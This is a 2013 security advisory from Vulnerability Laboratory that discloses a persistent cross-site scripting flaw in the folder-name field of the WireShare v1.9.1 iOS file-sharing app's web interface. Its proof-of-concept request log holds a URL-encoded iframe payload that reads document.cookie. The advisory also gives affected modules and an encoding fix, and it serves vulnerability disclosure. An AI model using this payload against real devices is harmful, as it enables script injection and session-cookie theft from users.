Document Title:
===============
Feetan Inc WireShare v1.9.1 iOS - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1157


Release Date:
=============
2013-12-05


Vulnerability Laboratory ID (VL-ID):
====================================
1157


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
WireShare supports more than 30 different file formats, including PDF, EPUB, TXT, CHM,PNG,MP3, RMVB and AVI.
You’re able to import files via EMAIL,Wi-Fi, iTunes File Sharing, the built-in browser, and Dropbox, Box,
SkyDrive, Google Drive and SugarSync.... Files can be arranged in folders, copied, renamed, zipped, and
viewed. You can view the document, read novels, listen to music, view photos, play video, annotate PDF
and share files in WireShare.

(Copy of the Homepage: https://itunes.apple.com/de/app/wireshare-share-files-your/id527465632 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation web vulnerabilities
in the Feetan Inc WireShare (Share files with your friends) mobile application v1.9.1 for apple iOS.


Vulnerability Disclosure Timeline:
==================================
2013-12-01:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the WireShare v1.9.1 for apple iOS.
A persistent input validation web vulnerability allows remote attackers to inject own malicious script codes on the
application-side (persistent) of the affected application web-server.

The vulnerability is located in the add `New Folder` input field. The vulnerability allows remote attackers to inject
own malicious script codes on the application-side of the index path/folder listing. The script code execute occurs
in the index path/folder listing with the vulnerable foldername parameter. The inject can be done local by the device
via add folder function or by remote inject via web-interface. The second execute occurs when the user is requesting
to delete the malicious injected script code entry of the folder list. The security risk of the persistent input
validation web vulnerability in the foldername value is estimated as high(-) with a cvss (common vulnerability scoring
system) count of 6.4(+)|(-)6.5.

Exploitation of the persistent script code inject vulnerability via POST method request requires low user interaction
and no privileged web-interface user account. In the default settings is auth of the web-server deactivated and blank.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] New Folder (fileListContainer)

Vulnerable Module(s):
				[+] folder [name value] (targetItem)

Affected Module(s):
				[+] Folder Index List


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local attackers with physical device access or
by remote attackers without privileged application user account and low user interaction. For security demonstration
or to reproduce the vulnerability follow the information and steps below.


PoC: Folder Index List - Index

<dt class="tthread">
<p class="hi"></p>
<p class="hn"><b>Name</b></p>
<p class="hs"><b>Size</b></p>
<p class="he"><b>Operation</b></p>
</dt>
<div style="background-image: url("/root/bg_file_list.jpg"); min-height:575px; margin-top: 93px;" id="fileListContainer">
<dd>
<p class="n">
<a href="http://localost:8080/New%20Folder%20%3C[PERSISTENT INJECTED SCRIPT CODE!]%3E">
<img src="WireShare_files/icon_folder.png" height="30" width="40"></a>
</p>
<p class="p">
<a href="http://localhost:8080/New%20Folder%20%3C[PERSISTENT INJECTED SCRIPT CODE!]%3E">New Folder <[PERSISTENT INJECTED SCRIPT CODE!].x"></a>
    </p>



PoC: Folder Index List - Index

<div style="opacity: 0.5; height: 520px; width: 1349px; position: fixed; left: 0px; top: 0px;
z-index: 1001;" class="simplemodal-overlay" id="simplemodal-overlay"></div><div style="position: fixed;
z-index: 1002; height: 166px; width: 280px; left: 521.5px; top: 176px;" class="simplemodal-container"
id="simplemodal-container"><input class="simplemodal-close" name="cancelButton" id="cancelButton" value="" type="button">
<div style="height: 100%; outline: 0px none; width: 100%; overflow: auto;" class="simplemodal-wrap" tabindex="-1">
<div style="display: block;" class="simplemodal-data" id="modal-content">
	<div id="modal-title"><h3>Delete File or Folder</h3></div>
	<div id="modal-text"><a>Are you sure to delete it?
</a></div>
	<form name="input" action="" method="post">
	<div style="display: none;" id="modal-field"><input value="delete" name="operationType" type="hidden">
<input value="[PERSISTENT INJECTED SCRIPT CODE!]" name="originalItem" type="hidden"></div>
	<input value="hello this is a test folder" name="ID" id="ID" class="inputone" type="hidden">
	<input style="margin: 44px 4px 5px 3px;" value="" name="submitButton" id="submitButton" type="submit">
	</form>
</div></div></div></body></html>



--- PoC Session Request Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.106:8080/#
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ]
Content Size[-1]
Mime Type[application/x-unknown-content-type]


Request Headers:
Host[192.168.2.106:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.106:8080/]
Connection[keep-alive]

Post Data:
targetItem[%2520%26%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fwww.vulnerability-lab.com+onload%3Dalert%28document.cookie%29+%3C]
operationType[create]
ID[0]
submitButton[]

Response Headers:
Transfer-Encoding[chunked]
Accept-Ranges[bytes]
Date[Sun, 01 Dec 2013 22:17:30 GMT]


Solution - Fix & Patch:
=======================
The persistent input validation web vulnerability can be patched by a secure encode of the new folder name input field.
Encode and filter also the folder name output list were the malicious context execute has been occured.


Security Risk:
==============
The security risk of the persistent input validation web vulnerability is estimated as high(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       - admin@evolution-sec.com
Section:    www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		       - magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2013 | Vulnerability Laboratory [Evolution Security]



--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com